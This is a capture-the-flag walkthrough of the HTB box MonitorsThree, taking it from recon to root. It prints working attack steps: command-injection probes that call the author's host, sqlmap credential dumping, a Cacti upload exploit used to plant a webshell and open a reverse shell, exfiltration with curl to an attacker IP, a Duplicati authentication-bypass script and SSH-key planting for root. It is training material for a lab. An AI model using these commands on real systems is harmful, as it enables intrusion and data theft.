MonitorsThree

INTRODUCTION

MonitorsThree was released as the fourth box of HTB’s season 6, Heist. It’s an interesting addition to the “Monitors” line of boxes, all of which prominently feature the Cacti monitoring tool. This box took a little bit of research to complete, but was generally on the easier side of “medium”.

Recon was almost nonessential. Once you discover the cacti subdomain, you’re ready to proceed. Fingerprint the two apps you’ve discovered, then check out the main monitorsthree app in more detail. The site has a couple forms on it; running a popular tool to abuse these forms is enough to get you started on a foothold. From there, you’ll discover a credential leading you back to the cacti web app. A little bit of vulnerability research goes a long way here. By exploiting a well known vulnerability (with well-documented PoC), you’ll gain an easy foothold.

After gaining a foothold, checking out the databases is key. Either filesystem enumeration or some simple guesswork will grant you access to the database. Inside are some password hashes. Crack them and pivot to the low-privilege user to grab the user flag.

More filesystem enumeration will yield some sensitive configs for a service listening locally. Once you find some juicy-looking info, start doing some vulnerability research related to that info and you’ll surely find the correct method for accessing the service. After gaining access to that service, you have several options for privesc. Be creative and try whatever works for you. Note that the service is a little flaky, so multiple attempts of the same thing might be required.

This box was interesting, but actually pretty straightforward. I spent most of my time trying to work around the unreliable/buggy aspects of services on this box; other than that, it was good fun.

title picture

RECON

nmap scans

Port scan

For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
8084/tcp filtered websnp

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
|_  256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
80/tcp   open     http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
8084/tcp filtered websnp

Note the redirect to http://monitorsthree.htb.

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No result

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
PORT      STATE         SERVICE      VERSION
9/udp     open|filtered tcpwrapped
53/udp    open|filtered domain
68/udp    open|filtered tcpwrapped
88/udp    open|filtered kerberos-sec
111/udp   open|filtered rpcbind
123/udp   open|filtered ntp
139/udp   open|filtered tcpwrapped
623/udp   open|filtered asf-rmcp
996/udp   open|filtered tcpwrapped
1030/udp  open|filtered iad1
2222/udp  open|filtered tcpwrapped
49185/udp open|filtered unknown
49200/udp open|filtered unknown

Note that any open|filtered ports are either open or (much more likely) filtered.

Webserver Strategy

Domain enumeration

Noting the redirect from the nmap scan, I added monitorsthree.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=template.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

whatweb

No surprises there. It’s using Ubuntu and a recent version of nginx.

Next I’ll perform vhost and subdomain enumeration. First, I’ll check for alternate hosts:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

No results from that. Next I’ll check for subdomains of monitorsthree.htb

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

subdomain enum

We’ve discovered the cacti.monitorsthree.htb subdomain. I’ll add that to the /etc/hosts file too, then:

echo "$RADDR cacti.$DOMAIN" | sudo tee -a /etc/hosts

No new results from that. I’ll move on to directory and file enumeration on http://monitorsthree.htb.

🕐 I don’t see much of a point in enumerating Cacti. It’s an open-source project; I could easily infer the directories and files just by looking through their repo on Github.

Directory enumeration

First, directory enumeration:

I prefer to not run a recursive scan, so that it doesn’t get hung up on enumerating CSS and images.

WLIST=/usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -c -o fuzzing/ffuf-directories-root -of json -timeout 4 -v -fs 13560

directory enum

Let’s quickly check the /admin directory too:

ffuf -w $WLIST:FUZZ -u http://$DOMAIN/admin/FUZZ -t 60 -c -o fuzzing/ffuf-directories-root-admin -of json -timeout 4 -v -ic -fs 13560

directory enum 2

File enumeration

Next I’ll search for files in the /admin directory:

WLIST=/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -c -o fuzzing/ffuf-files-root -of json -e .php,.js,.html,.txt -timeout 4 -v

file enum 1

It’s a little odd that we can access certain components. We’ll check that out soon.

Just for completeness, let’s also check for files in the /admin/assets directory:

file enum 3

Exploring monitorsthree.htb

The website at http://monitorsthree.htb seems to be a typical landing page for an IT services company. There isn’t anything really notable on the index page. There are a couple testimonials (with names and business names), and a link to /login.php

index page

The /login.php page doesn’t have any way to register a new user. However, there is a forgot_password.php page where we can request a password reset. After trying a few obvious usernames, it seems like we would be able to enumerate usernames by fuzzing this form (3380 bytes):

username enumeration 1

Here’s a positive result (3385 bytes):

username enumeration 2

What about those UI components that we got an HTTP 200 on, during file enumeration? db.php didn’t have any useful info, but navbar.php gives a bit of a preview of the admin dashboard contents:

file enum 2

Login Form - quick tests

For a very succinct strategy on testing login forms, check out my page on that topic.

SQLi Auth Bypass
WLIST=/usr/share/seclists/Fuzzing/Databases/sqli.auth.bypass.txt 
ffuf -w $WLIST:FUZZ -u http://monitorsthree.htb/login.php -r -X POST -t 40 -c \
-H "Content-Type: application/x-www-form-urlencoded" \
-b "PHPSESSID=hiddedbuopbr2qdmcldg9srnnh" \
-d "username=FUZZ&password=password123" \       
-fr 'Login to your account'

No result.

Password guessing
WLIST=/usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt
ffuf -w $WLIST:FUZZ -u http://monitorsthree.htb/login.php -r -X POST -t 40 -c \
-H "Content-Type: application/x-www-form-urlencoded" \
-b "PHPSESSID=hiddedbuopbr2qdmcldg9srnnh" \
-d "username=admin&password=FUZZ" \       
-fr 'Login to your account'

Also no result.

Exploring cacti.monitorsthree.htb

I think everyone reading this knows that the real clues are almost always in whatever subdomain you discover 😉

I never did Monitors. In MonitorsTwo, though, the foothold was gained by exploiting Cacti. I’m hoping this one will be no different. Feel free to read my walkthrough on MonitorsTwo for some context.

As expected, navigating to http://cacti.monitorsthree.htb brings us to the login page for Cacti:

cacti login

Vulnerability research

We can see the version is now 1.2.26. While I didn’t see anything in searchsploit, doing a web search for “Cacti 1.2.26 vulnerability exploit PoC” led to a plethora of results hinting at vulnerabilities that can lead to RCE:

  • Authenticated insecure upload by /lib/import.php (CVE-2024-25641)
  • Authenticated SQLi via the filter parameter of api_automation.php (CVE-2024-31445)
  • Unauthenticated RCE when PHP parameter register_argc_argv is set to on (CVE-2024-29895)
  • Unauthenticated file inclusion in /lib/plugin.php (CVE-2024-25641)

Two of these are authenticated, two are unauthenticated.

FOOTHOLD

CVE-2024-29895

I’ll check that unauthenticated RCE first - it looks very easy to test, and the result is too good to be true

sudo ufw allow from $RADDR to any port 8000 proto tcp
cd www
simple-server 8000 -v &
curl 'http://cacti.monitorsthree.htb/cacti/cmd_realtime.php?1+1&&wget+http://10.10.14.30:8000+1+1+1'
curl 'http://cacti.monitorsthree.htb/cacti/cmd_realtime.php?1+1&&curl+http://10.10.14.30:8000+1+1+1'
curl 'http://cacti.monitorsthree.htb/cacti/cmd_realtime.php?1+1&&nc+10.10.14.30+8000+1+1+1'
curl 'http://cacti.monitorsthree.htb/cacti/cmd_realtime.php?1+1&&sleep+10+1+1+1'

Nope, nothing.

CVE-2024-25641

I tried exploiting this vulnerability, using a very similar method to the PoC shown on github, but was ultimately unsuccessful; I’m not sure why.

If I run out of ideas, I might revisit this later 🚩

SQLi - monitorsthree.htb

We’ve already identified a couple forms on the website. Just to get the obvious out of the way, I also already tried some easy brute-forcing and some very quick-to-test SQLi auth bypasses. But what about a more comprehensive test of SQLi?

We saw from file enumeration that there is a db.php file, so there’s a chance that the backend is running some kind of SQL database. If so, there’s also a chance they introduced an SQLi vulnerability.

To test both forms in one command, I’ll use --crawl 👇

sqlmap -u 'http://monitorsthree.htb/login.php' --crawl=2 --random-agent --batch --forms --threads=5

😮 After slightly less than 5 minutes, a positive result was returned for the POST /forgot_password.php form:

sqlmap result 1

Alright! Let’s start enumerating the DB. First, get the name of the current database:

sqlmap -u 'http://monitorsthree.htb/forgot_password.php' --data 'username=test' -p 'username' --batch --current-db
monitorsthree_db
current database: 'monitorsthree_db'

Now let’s find the names of the tables:

sqlmap -u 'http://monitorsthree.htb/forgot_password.php' --data 'username=test' -p 'username' --batch -D 'monitorsthree_db' --tables
Database: monitorsthree_db
[6 tables]
+---------------+
| changelog     |
| customers     |
| invoice_tasks |
| invoices      |
| tasks         |
| users         |
+---------------+

The users table is a great place to start. This is taking a long time, so I’d like to minimize how much time I spend reading tables - let’s get the column names:

sqlmap -u 'http://monitorsthree.htb/forgot_password.php' --data 'username=test' -p 'username' --batch -D 'monitorsthree_db' -T 'users' --columns
Database: monitorsthree_db
Table: users
[9 columns]
+------------+---------------+
| Column     | Type          |
+------------+---------------+
| name       | varchar(100)  |
| position   | varchar(100)  |
| dob        | date          |
| email      | varchar(100)  |
| id         | int(11)       |
| password   | varchar(100)  |
| salary     | decimal(10,2) |
| start_date | date          |
| username   | varchar(50)   |
+------------+---------------+

id, username and password are probably enough to get me further access.

☝️ If I can log in using any of these creds, maybe one of them will be an admin and I won’t need to keep performing this time-based blind SQLi.

sqlmap -u 'http://monitorsthree.htb/forgot_password.php' --data 'username=test' -p 'username' \
--batch -D 'monitorsthree_db' -T 'users' -C 'id,username,password' --dump

In retrospect

I already knew that admin was a valid user. I should have used the --sql-query option in SQLmap to obtain the password for that user only. This would have been much faster (12.8 minutes, instead of several hours)

Database: monitorsthree_db
Table: users
[4 entries]
+----+-----------+----------------------------------+
| id | username  | password                         |
+----+-----------+----------------------------------+
| 2  | admin     | 31a181c8372e3afc59dab863430610e8 |
| 5  | mwatson   | c585d01f2eb3e6e1073e92023088a3dd |
| 6  | janderson | 1e68b6eb86b45f6d92f8f292428f77ac |
| 7  | dthompson | 633b683cc128fe244b00f176c8a950f5 |
+----+-----------+----------------------------------+

Note: the above SQLi took almost 6 hours to complete. I might investigate a faster method for the SQLi.

Thankfully, these are MD5 hashes, so they should be really fast to crack. I put the hashes into a file with their usernames:

hashes format

I double-checked the format using name-that-hash, then started cracking:

PASSWDS=/usr/share/wordlists/rockyou.txt
john --wordlist=$PASSWDS --format=raw-md5 monitorsthree_db_users.hash

cracked hashes

Only one of the hashes was cracked by rockyou, but at least it was the admin password! Now we know that admin : greencacti2001 should work for the login to the admin dashboard at http://monitorsthree.htb/login.php, but before I forget, I should also test it with:

  • SSH, on port 22
  • Cacti, at http://cacti.monitorsthree.htb/cacti

Testing credential re-use

First, I’ll check SSH:

ssh authentication attempt

I think it’s pretty safe to assume that password-based authentication is disabled globally on the target. Therefore, there will be no credential re-use.

Next, I’ll check Cacti:

cacti login success

👏 Perfect - the admin : greencacti2001 credentials work for Cacti. That means I can go try out those other two CVEs that require authentication! I’ll take a quick look at the main app at http://monitorsthree.htb then try out those CVEs.

MonitorsThree admin dashboard

Not a security concern, but I see under the Invoices that the person in charge of (I guess… “accounts receivable”?) is Marcus Higgins.

The Users section appears to be a reflection of the users table from the database:

users table full

The Changelog seems like it should hold some hints, but the only actionable hint is about Users, and isn’t even true:

Introduced a user management section to display and manage current users of the web app. Admins can view active users and manage user roles

Maybe we’re looking at version 1.3 still? 🤷‍♂️

Cacti CVEs

Now that we have a valid login for Cacti, there’s much better chance that we can actually utilize those two CVEs with “authenticated” exploits.

Since the insecure upload one (CVE-2024-25641) would more directly yield a foothold, I’ll try that first.

The vulnerability disclosure provides its own PoC. It’s not a self-contained script PoC; it’s more like a walkthrough on how to reproduce an exploit. While it would be totally viable to produce our own PoC code for this one, it turns out that there are already a few good ones on Github.

If we did want to go through the exercise of writing a PoC though, we could do this:

  1. Write or obtain a PHP payload - a simple webshell is probably fine

  2. Use the PoC PHP script to bundlethe payload into a module installable by Cacti

  3. Deliver the payload via the authenticated upload endpoint.

    * Remember to obtain the anti-CSRF token: at least two web requests are required to deliver the payload, then one more to trigger it.

Conceptually, pretty easy! 😉

Let’s try out the PoC by @5ma1l for CVE-2024-25641. I’ll use the phpbash webshell as a payload. Since the exploit is written in python, I’ll set up a venv:

cd exploit
python -m venv . && source bin/activate
git clone https://github.com/5ma1l/CVE-2024-25641
cd CVE-2024-25641
pip3 install -r requirements.txt
PAYLOAD=/usr/share/webshells/php/phpbash.php
python3 exploit.py -p $PAYLOAD 'http://cacti.monitorsthree.htb/cacti' 'admin' 'greencacti2001'

The exploit uses a predictable hardcoded filename for the uploaded file. Let’s mix it up a little by changing the filename to something less likely for a fuzzer to find:

sed -i 's/test\.php/dkajfhaskljgfas\.php/g' exploit.py

Alright, let’s run the exploit:

PAYLOAD=/usr/share/webshells/php/phpbash.php
python3 exploit.py -p $PAYLOAD 'http://cacti.monitorsthree.htb/cacti' 'admin' 'greencacti2001'

CVE-2024-25641 success

Since I’m using a webshell, I’ll navigate there myself any check the result (so I answered n at the final prompt)

phpbash

Success! After looking around for a minute or so, I realized there is a cleanup script running very frequently, so I’ll need to use a reverse shell anyway. Let’s start a listener:

sudo ufw allow from $RADDR to any port 53
bash
sudo nc -lvnp 53

Now I’ll upload the webshell again, then use it to start a reverse shell (simply uploading a reverse shell without using a reverse shell would have been even faster).

reverse shell open

🎉 Alright! We have a foothold

USER FLAG

Upgrade the shell

For an explanation of this, please check out my guide on upgrading the shell.

SHELL=/bin/bash script -q /dev/null
[Ctrl+Z] stty raw -echo; fg [Enter] [Enter] 
export TERM=xterm-256color
export SHELL=bash
stty rows 35 columns 120

Then some stuff just for comfort:

alias ll='ls -lah'
mkdir -p /tmp/.Tools

Local enumeration - www-data

One of the first things I like to do when I gain a foothold is to check out the code of the thing that granted me the foothold. In our case, that’s the two web apps:

  • monitorsthree, at /var/www/html/app
  • cacti, at /var/www/html/cacti

What services are listening? I checked netstat:

netstat

Port 8200

TCP port 8200 is unexpected. Trying the port with nc reveals that it’s definitely listening for http traffic… 🤔

A little web searching revealed that port 8200 is commonly used for Hashicorp Vault. We should be able to access this via proxychains:

Hashicorp Vault login

Unclear whether or not that worked, but if it did we’ll still need a token to be able to interact with it at all. I asked ChatGPT about the token format, and it indicated that the vault token should be something like s.XXXXXXXX where X is an alphanumeric character, and there are at least 6 “X”:

s\.[A-Za-z0-9]{6,16}

I did a quick scan of the filesystem for anything matching this regex, but I encountered too many false-positives to be able to sift through it manually.

I’ll keep an eye out for something of that format, as I continue enumeration.

MySQL

After gaining foothold, database credentials are usually a good place to start. I looked up the db.php file that we saw earlier, at /var/www/html/app/admin/db.php:

<?php

$dsn = 'mysql:host=127.0.0.1;port=3306;dbname=monitorsthree_db';
$username = 'app_user';
$password = 'php_app_password';
$options = [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
];

try {
    $pdo = new PDO($dsn, $username, $password, $options);
} catch (PDOException $e) {
    echo 'Connection failed: ' . $e->getMessage();
}

Excellent, there’s some database credentials in there. That’s the database we did the initial SQLi on. To make things a little easier to work with, I’ll start up a SOCKS5 proxy.

Aside: SOCKS Proxy using Chisel

During user enumeration I found a locally-exposed port 5432 (probably PostgreSQL). To access it, I’ll set up a SOCKS proxy using chisel. I’ll begin by opening a firewall port and starting the chisel server:

☝️ Note: I already have proxychains installed, and my /etc/proxychains.conf file ends with:

...
socks5  127.0.0.1 1080
#socks4 127.0.0.1 9050
sudo ufw allow from $RADDR to any port 9999 proto tcp
./chisel server --port 9999 --reverse

Then, on the target machine, start up the chisel client and background it:

./chisel client 10.10.14.30:9999 R:1080:socks &

To test that it worked, I tried a round-trip test (attacker -> target -> attacker) to access loading the index page from my local python webserver hosting my toolbox:

proxychains whatweb http://10.10.14.30:8000

The result is my index page - Success 👍

With the chisel SOCKS proxy established, I can easily connect to the MySQL database from my attacker machine, using those credentials I just found:

proxychains mysql -h '127.0.0.1' -D 'monitorsthree_db' -u 'app_user' -pphp_app_password 

mysql proxy

😅 That’s a little faster than a time-based blind SQLi! Although, there doesn’t seem to be anything in that database that I didn’t already know about. Is there anything else we can do from MySQL? I tried:

  • Seeing if there was another database to access from this user (there isn’t)
  • Reading and writing files (Don’t have the permissions)

How about the other application, Cacti - there are probably database credentials somewhere… Some web searching revealed that (in step 5) of the official configuration guide for Cacti it notes that the database config should be in include/config.php - Indeed, we find a bunch of MySQL-related info in /var/www/html/cacti/include/config.php:

$database_type     = 'mysql';
$database_default  = 'cacti';
$database_hostname = 'localhost';
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port     = '3306';
$database_retries  = 5;
$database_ssl      = false;
$database_ssl_key  = '';
$database_ssl_cert = '';
$database_ssl_ca   = '';
$database_persist  = false;

Let’s connect to it and see if there’s anything useful:

proxychains mysql -h '127.0.0.1' -D 'cacti' -u 'cactiuser' -pcactiuser

There are a lot of tables in this database, as expected. The user_auth table stands out right away as a place that credentials might reside:

cacti database user auth

Perfect! Those look like bcrypt hashes.

Password cracking

Let’s get cracking:

👇 Remember that we already know the password for admin is greencacti2001, so there’s no point in waiting for that one to crack.

PASSWDS=/usr/share/wordlists/rockyou.txt
john --wordlist=$PASSWDS --format=bcrypt cacti_users_auth.hash

cacti marcus hash cracked

😂 That is a top-notch password, marcus.

We already know that password-based authentication for SSH is disabled, so can we privesc via just su?

su marcus  # use password: 12345678910

marcus privesc

Yes, we can! 😆

SSH key

First, I’ll check if marcus has an SSH key:

ls -lahR /home/marcus

Yep - there’s a private key exactly where we’d expect it to be, if one is present. Let’s take a copy - no need to do any fancy file transfer:

cat /home/marcus/.ssh/id_rsa  # copy to clipboard

Now on the attacker host, let’s use the key to log in as marcus:

vim loot/id_rsa  # paste from clipboard
chmod 600 loot/id_rsa
ssh -i loot/id_rsa marcus@$RADDR

SSH as marcus

The user flag is in the usual spot - go ahead and read it for the points:

cat /home/marcus/user.txt

ROOT FLAG

I’ll admit, I was really hoping to find a vault token somewhere in /home/marcus. Hmm…

Local enumeration - marcus

As one of the first steps of local enumeration, I checked again for listening services (mostly, to see if they were labeled with the listening application/process instead of just the port and address). Port 8200 was there, but still unlabeled - since can use SSH to connect now, it’s easier to simply forward that port instead of relying on a SOCKS proxy:

ssh -i loot/id_rsa -L 8200:localhost:8200 marcus@$RADDR

With that port forwarded, it’s now even easier to navigate to it in a browser (we already knew it was listening for HTTP):

duplicati login

Duplicati”, that’s interesting. It’s not Hashicorp Vault, as I had previously thought. I tried some of the known credentials and obvious guesses, but nothing is working. I’ll certainly return to this once I know more 🚩

As I was continuing through my local enumeration checklist, I found something interesting - I checked for any docker configurations:

find / -name "dockerfile" -o -name "docker-compose.yml" 2>/dev/null

This found /opt/docker-compose.yml, which appears to be a the configuration for the Duplicati service running on port 8200:

version: "3"

services:
  duplicati:
    image: lscr.io/linuxserver/duplicati:latest
    container_name: duplicati
    environment:
      - PUID=0
      - PGID=0
      - TZ=Etc/UTC
    volumes:
      - /opt/duplicati/config:/config
      - /:/source
    ports:
      - 127.0.0.1:8200:8200
    restart: unless-stopped

It’s looking pretty certain that we’re heading in the right direction now 😉

The volume mapping looks a little odd. Why would they map the filesystem root / to /source? Also, this duplicati instance seems like it’s running as root internally.

Can we just hop into the container, check out /source/root/root.txt and be done?

docker permissions denied

😂 Haha nope… That would be too easy!

Duplicati

So what is Duplicati, anyway? I had to do a little research about it. Turns out that it’s a tool for taking backups. It’s a bit of a hybrid between full and incremental backups, plus a little bit of cryptographyso you can prove backup integrity.

They have an article describing how it works on their forum. It’s definitely worth reading.

😁 Honestly, it’s really cool! Duplicati seems very useful and uses some clever ideas.

The /config volume from the previous docker-compose.yml file seems a little interesting. Let’s examine it more closely:

duplicati configs

I’ll exfil it using a file upload. On the attacker host, I’ll start up an http server:

cd www
sudo ufw allow from $RADDR to any port 8000 proto tcp
simple-server 8000 -v

Now, as marcus, I’ll archive the directory and upload the resulting file:

tar -czvf /tmp/.Tools/config.tar.gz config/
curl -X POST -F 'file=@/tmp/.Tools/config.tar.gz' http://10.10.14.30:8000

💡 It would have been faster and more direct to just use scp to transfer the directory, but whatever

Let’s take a look at it:

mv www/config.tar.gz loot/ && cd loot
tar -zxvf config.tar.gz
sqlite3 Duplicati-server.sqlite
# sqlite> .schema

The schema is a little confusing, but mentions a lot of stuff that would be important for a backup service.

sqlite tables

Looking through the database, I noticed some things:

  • Backup references a file we’ve already obtained: backups
  • The Option table shows something that might be a valid passphrase: Option table There’s a passphrase and a salt, but for Backup ID 4 we see that --no-encryption is set to true. If I’m understanding Duplicati correctly, this would have been the passphrase and salt for an encrypted backup… so why is it here?
  • There are a few errors for Backup ID 4 in the error log.

I did a web search for “Duplicati passphrase” to find out more, and immediately stumbled across a page by a security researcher. As it turns out, they found a way to bypass the Duplicati web authentication by using the passphrase and salt 🤑 That’s exactly what I needed!

This whole plan relies on the salt still being valid. This is easily verifiable, though.

Running a single authentication attempt (with a random password) through the login page, we can see that it provides the same salt as seen above:

authentication intermediate response

Checking out the Duplicati github repo, I found that the researcher reported this issue, and it was since solved. It might still be worth checking for it though.

Normally, this is how the authentication would work:

CcLl-IisEeiNndJTteSWOhahKanWa.sdethb'HessedayarlopmeutLruDpyH's.oerUesiodPanr(nkicLuoeamgsruItn'nyerChcsdtgcrAeephoteTn?yyaaonItoostdytiuus.ocrrwnusaooIetnsrnusioadcwssonl,eiiinctlnoe)lgnSERVER

However, we will instead circumvent part of the client-side javascript. We’ll provide a pre-hashed password (the one we found in the Option table) instead of using the client-side javascript to calculate the hash.

Let’s try out this procedure using ZAP.

First, get the hex encoding of the passphrase we found in the database. You could do this in bash, but here’s the cyberchef recipe anyway:

duplicati auth bypass 0

Next, tell ZAP to Break on all requests and responses:

duplicati auth bypass 1

Enter an arbitrary password into the Duplicati login page:

duplicati auth bypass 2

The request should be proxied through ZAP. It should be a POST request with a body of get-nonce=1 indicating that we are requesting the nonce and the known salt. Submit and Step once, into the response to this request:

duplicati auth bypass 3

The salt and nonce are provided:

duplicati auth bypass 4

Copy the base-64 nonce from ZAP and the hex passphrase from Cyberchef into the following script:

var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
var b64nonce = '7kDw6qZ5AAOZqM0WLEyT/tZbHxDRhLV56Hwr1s+iJV0='
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse(b64nonce) + saltedpwd)).toString(CryptoJS.enc.Base64);
console.log(noncedpwd);

Paste the script into the browser console to evaluate it:

duplicati auth bypass 5

Copy the value of noncedpwd that it prints. In ZAP, Submit and Step once more, into the POST request that has a password hash for a body. Paste our calculated noncedpwd value into that spot. Select the value, and open it in Encode/Decode/Hash:

duplicati auth bypass 6

Replace the value in the POST body with the URL-encoded version of itself:

duplicati auth bypass 7

Finally, select Submit and Continue to forward our calculated password, that has been hashed using the provided nonce:

duplicati auth bypass 8

Checking the browser window again, we can see that the authentication was indeed bypassed!

duplicati dashboardd

Not working?

Yeah, I couldn’t get it working for a very long time.

The auth bypass would go perfectly, but then the app would fail to load! All I got was this:

duplicati error

Basically, it looked like Angular wasn’t running, or there was some kind of templating problem..? So weird.

The troubleshooting took a very long time, but ultimately I found a solution: Use Burpsuite, with its built-in Chromium browser.

😞 After switching to Chromium, the app loaded perfectly.

The only difference when performing the auth bypass using Burp instead of ZAP is how you specify to proxy the response to the request. Do this after intercepting the initial get-nonce request:

auth bypass using Burp

Privesc planning

After taking a look through the Duplicati interface, I think I see the misconfiguration. Due to the “strange” volume mapping that I saw in the docker-compose.yml file, we have overly permissive access to the whole filesystem using Duplicati.

It seems like Duplicati allows us not only to take backups of arbitrary sources, but also to “restore” backups to arbitrary destinations! By abusing this, we can indirectly plant an SSH key for the root user.

PiBi"ilnanRnactetcckosoehtouaotfspnraieoerlnft"geihesdleftierirslddeiisrrSSS///SHttrHmmoappoas//tsBB/maa.raccsorkksocuuhtupp/sss//SDoeusrtcienation

To prepare, let’s first generate an ssh key, and use an http server to transfer it to where marcus can use it:

cd loot
ssh-keygen -t rsa -b 4096 -f root_id_rsa -N 'hawk.hawk'   
chmod 600 root_id_rsa
base64 -w 0 root_id_rsa.pub

Next make the Source and Destination directories using the marcus shell and download the key:

mkdir -p /tmp/Backups/Source
mkdir -p /tmp/Backups/Destination
curl -o /tmp/Backups/Source/authorized_keys http://10.10.14.10:8000/root_id_rsa.pub

Privesc execution

Making the backup

The existing backup operation doesn’t do what we need it to do. Let’s define a new one that backs up the /tmp/Backups/Source directory into /tmp/Backups/Destination.

👇 Remember, the docker volume is mapped as /:/source, so we will need to prefix all filepaths with /source

define new backup 1

Setting up the backup:

  1. I gave it an arbitrary name, and specified that no encryption should be used.
  2. Used /source/tmp/Backups/Destination as the backup Destination
  3. Used /source/tmp/Backups/Source/authorized_keys as the backup Source defining ssh key backup
  4. Give it a schedule to run every minute define new backup 2
  5. Retain only one backup. No need to bloat the filesystem define new backup 2

⭐ After hitting Save… nothing happend. Nothing happened for a LONG time. My best advice is to really mash that button. It only happened after maybe the tenth time I tried it.

⚠️ EDIT (thank you, @x6h057)

It turns out that this method works perfectly the first time if the Run again every parameter is set to a value greater than 5 minutes. If you set this to 6 minutes, it should work find.

Eventually, my backup operation appeared, and seems successfully defined:

keys backup successfully defined

After clicking the Run now text, I was shown a short success message. The results are visible from the marcus shell:

Keys backup worked 2

Restoring the backup

Now that we have a valid Duplicati archive, we can “restore” the backup into our target directory. The zip files shown above will actually just unpack as authorized_keys.

We can now choose the Restore operation from the sidebar. Select the Keys backup to restore from:

Restoring keys backup 1

The most important thing is to choose an alternate destination for the files, instead of restoring them to the backup source directory:

Restoring keys backup 2

This attempt seems successful:

Restoring keys backup 3

There’s only one way to find out if it worked. Let’s try connecting using SSH!

root ssh

🎉 We have a root shell! Read the flag in the usual spot to finish off the box:

cat /root/root.txt

EXTRA CREDIT

Cleanup scripts:

In case you were wondering, here’s the script that cleans up the Cacti resources directory, so that peoples exploits don’t accumulate:

#!/bin/bash

DIR="/var/www/html/cacti/resource"
KEEP_FILES=("index.php" "script_queries" "script_server" "snmp_queries")
for FILE in "$DIR"/*; do
    FILENAME=$(basename "$FILE")
    FOUND=false
    for KEEP_FILE in "${KEEP_FILES[@]}"; do
        if [[ "$FILENAME" == "$KEEP_FILE" ]]; then
            FOUND=true
            break
        fi
    done
    echo "Processing file: $FILENAME"
    if [ "$FOUND" = true ]; then
        echo "File is in the list of files to keep."
    else
        echo "File will be deleted."
    fi
    if [ "$FOUND" = false ]; then
        rm -rf "$FILE"
        echo "Deleted file: $FILENAME"
    fi
done

CLEANUP

Target

I’ll get rid of the spot where I place my tools, /tmp/.Tools:

rm -rf /tmp/.Tools

Attacker

There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:

It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

LESSONS LEARNED

two crossed swords

Attacker

  • 🗺️ Write some SQL queries that are pre-optimized for time-based blind SQLi. This can greatly speed up database enumeration, and it’s definitely something I should have done on this box. By “pre-optimized” I mean writing the query to be insensitive to column names, or usernames, etc. We can already use certain flags with SQLMap to search for common table names, so why not also write a query that simultaneously dumps contents of any column named “pass”, “password”, “token”, “passwd”, etc. Any maybe pre-filter it for only known users (we already knew admin was a user, and could have easily guessed marcus, too)

  • 🌐 Have a few browsers on-hand. If something seems like it really should be working, maybe it’s time to try again but with a different browser. I do most of my work using Firefox, but I’m beginning to see the advantage of using the Burp-integrated Chromium or the ZAP-integrated firefox as well.

  • 🕺 Figure out ways to skip re-exploiting the box when the connection breaks. For example, if you’ve found a way to upload a webshell, and know that you can open a reverse shell using that webshell, it’ll be a time-saver to edit your exploit to just upload a reverse shell instead!

two crossed swords

Defender

  • 🆙 Do your updates. The vulnerability we exploited in Cacti for file upload was very well-known. It’s especially important to keep internet-facing systems updated - even moreso when large security-related patches are released.

  • 💾 Be mindful of your volume mapping. As soon as I saw the flawed docker-compose.yml on this box, I knew for sure that the volume mapping would be involved in privesc. Having overly permissive volume mapping means that directories on the host system are exposed to the container as well - so a mapping like /:/source effectively doubles the attack surface!

